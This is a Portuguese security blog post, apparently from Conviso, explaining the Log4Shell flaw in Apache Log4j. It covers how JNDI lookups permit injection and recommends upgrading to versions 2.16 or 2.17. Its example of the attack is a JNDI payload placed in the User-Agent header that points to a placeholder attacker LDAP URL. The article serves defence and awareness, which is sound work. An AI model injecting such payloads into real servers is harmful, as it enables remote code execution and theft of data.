Segurança de AplicaçãoTech

Tudo que você precisa saber de Log4j e como garantir a segurança de sua aplicação

Uma falha importante de segurança na biblioteca Apache Log4j, escrita em Java, foi revelada em 9 de dezembro de 2021 por um pesquisador da Alibaba Cloud, na China. Isso fez com que especialistas em segurança cibernética disparassem alarmes e grandes empresas fossem em busca de medidas para evitar possíveis ataques explorando essa nova vulnerabilidade CVE-2021-44228¹, também conhecida como “Log4Shell”. 

Por estar localizada em uma biblioteca utilizada por milhões de servidores web e por diversas empresas ao redor do mundo, essa vulnerabilidade crítica teve grande repercussão nos últimos dias devido ao seu risco potencial, visto que através dela é possível ter acesso a partes críticas de uma aplicação. Vale destacar que AWS, IBM, Cloudflare, Cisco, iCloud, Minecraft estão entre os muitos serviços que utilizam a biblioteca Log4j. 

Além disso, para se ter uma ideia do potencial da vulnerabilidade, ela foi classificada com um nível de gravidade CVSS de 10 de 10. Jen Easterly², diretora do Departamento de Segurança Cibernética e Agência de Segurança de Infraestrutura (CISA) declarou na última semana (12/12) que “essa vulnerabilidade representa um risco grave” para toda a internet. Estima-se que a exploração afete centenas de milhões de dispositivos por ser muito simples de executar.

O que é Log4J

Log4j é uma estrutura de registro rápido e flexível escrita em Java, desenvolvida no início de 1996, sendo distribuída sob a licença do software Apache e podendo ser usada para projetos de pequena a grande escala.

Com mais de 400 mil downloads de seu projeto no GitHub³, o Apache Log4j é uma das bibliotecas de registro Java mais populares. Nesse sentido, essa biblioteca é utilizada para fazer logging nas aplicações, sendo esse um processo que permite guardar registros, envio de informações e processamento de dados, além de registro de erros. 

Por meio do logging, é possível analisar o funcionamento da aplicação e monitorar as alterações no processo de desenvolvimento. Portanto, sendo de código aberto e gratuito, a biblioteca alcança basicamente todas as partes da internet.

Como funciona a vulnerabilidade do Log4j

O Apache log4j possui um recurso de estrutura de registro denominado lookups, que permite aos usuários o cadastro de informações acerca de como suas atividades são registradas. Essas lookups são marcadas por variáveis ​​agrupadas pelos seguintes caracteres “$ {….}”.

Assim, variáveis definidas como “$ {variable}” podem ser utilizadas como data, horário ou nome de usuário. Nesse exemplo, a expressão “$ {user.username}” pode ser substituída pelo nome real do usuário usando uma expressão como “Log.info (“$ {user.username} not found”)”.

As bibliotecas de registro normalmente gravam mensagens em um arquivo de log ou em banco de dados. Para realizar a busca dessas informações em uma máquina remota, o Log4j utiliza o Java Naming and Directory Interface (JNDI), o qual permite a pesquisa de itens em locais remotos usando uma variedade de serviços e protocolos, incluindo LDAP, DNS, Java Remote Method Invocation (RMI) e entre outros. Sendo a sintaxe JNDI a seguinte expressão:

${ jndi:protocol://server}. ${}

Portanto, para tirar proveito desse recurso, o invasor precisa apenas encontrar a entrada que o direciona para o log, que geralmente é controlado pelo usuário. Embora isso dependa muito do tipo de aplicação, um método comum de injection é por meio de cabeçalhos HTTP que são regularmente registrados como User-Agent ou Referrer.

Exemplo de como funciona o ataque utilizando a vulnerabilidade do Log4j:

Em geral, caso a vulnerabilidade aconteça quando o cabeçalho User Agent é processado pela biblioteca, a falha do Log4j permite a execução de códigos não autenticados, podendo o invasor modificar a string do User Agent do navegador para o formato $ {jndi: ldap: // [attacker_URL]}. 

Com isso, a string é inserida nos logs de acesso do servidor da Web, o aplicativo Log4j analisa esses logs e, depois, alcança a string adicionada. Resultado, o servidor faz um retorno de chamada para a URL presente na string JNDI, sendo essa URL útil ao invasor para manipular comandos codificados e atingir seu objetivo.

Resumindo, a falha no Log4j permite que um invasor introduza um código no processo de registro, acionando o servidor de armazenamento de software para executar o comando desejado. Isso significa que ele pode roubar dados, instalar malware ou obter controle total da aplicação.

Dados mostram o crescimento de tentativas de ataque desse tipo após a publicação dessa vulnerabilidade. Para saber mais sobre os softwares que foram afetados por essa falha, indicamos essa lista disponibilizada no GitHub⁴ com os produtos e serviços impactados. <>

Como evitar os riscos de ameaça dessa falha

Supostamente o problema parece ter sido resolvido com o lançamento da nova versão do Log4j 2. Tendo isso em mente, recomendamos a atualização imediata para a sua nova versão. Você deve atualizar para 2.17 para mitigar CVE-2021-45105 se usar Java 8, atualizar para 2.16 para mitigar CVE-2021-44228 se usar Java 8 (ou posterior). Recomendamos também, se possível, não habilitar JNDI nas versões 2.16 ou 2.17.

Entretanto, divulgada pela própria Apache Software Foundation⁵, a  correção dessa vulnerabilidade não será aplicada de forma automática em todas as aplicações. Como resultado, esse problema ainda perdurará por bastante tempo e terá um impacto significativo nos próximos meses. 

Muitas empresas e instituições não usam Log4j diretamente em seu próprio código-fonte, mas podem usar produtos de terceiros que utilizam essa biblioteca em seu código. Nesse momento desafiador, estamos comprometidos em fornecer o suporte necessário aos nossos clientes e a toda a comunidade de segurança, além de construir recursos de segurança para superar o CVE-2021-44228.

Nova call to action

Referências

About author

Articles

Developer Advocate na Conviso, apoiando desenvolvedores e profissionais de segurança na melhoraria da qualidade e segurança de suas aplicações.
Related posts
Code FightersTech

Introdução a secure code review em aplicações Go

Antes de entrarmos, de fato, à nossa introdução a secure code review em aplicações Go, vamos a…
Read more
PodcastTech

AppSec to Go: Confira entrevista com Felipe Salum, SRE da Apple

Você já se perguntou como funciona o time de SRE em uma Big Tech? Este é o tema do último…
Read more
Segurança de Aplicação

Como Desenvolver Aplicações Com Segurança? Um guia inicial

Por que desenvolver com segurança? Seria muito bom se não precisássemos ter antivírus, que…
Read more

Deixe um comentário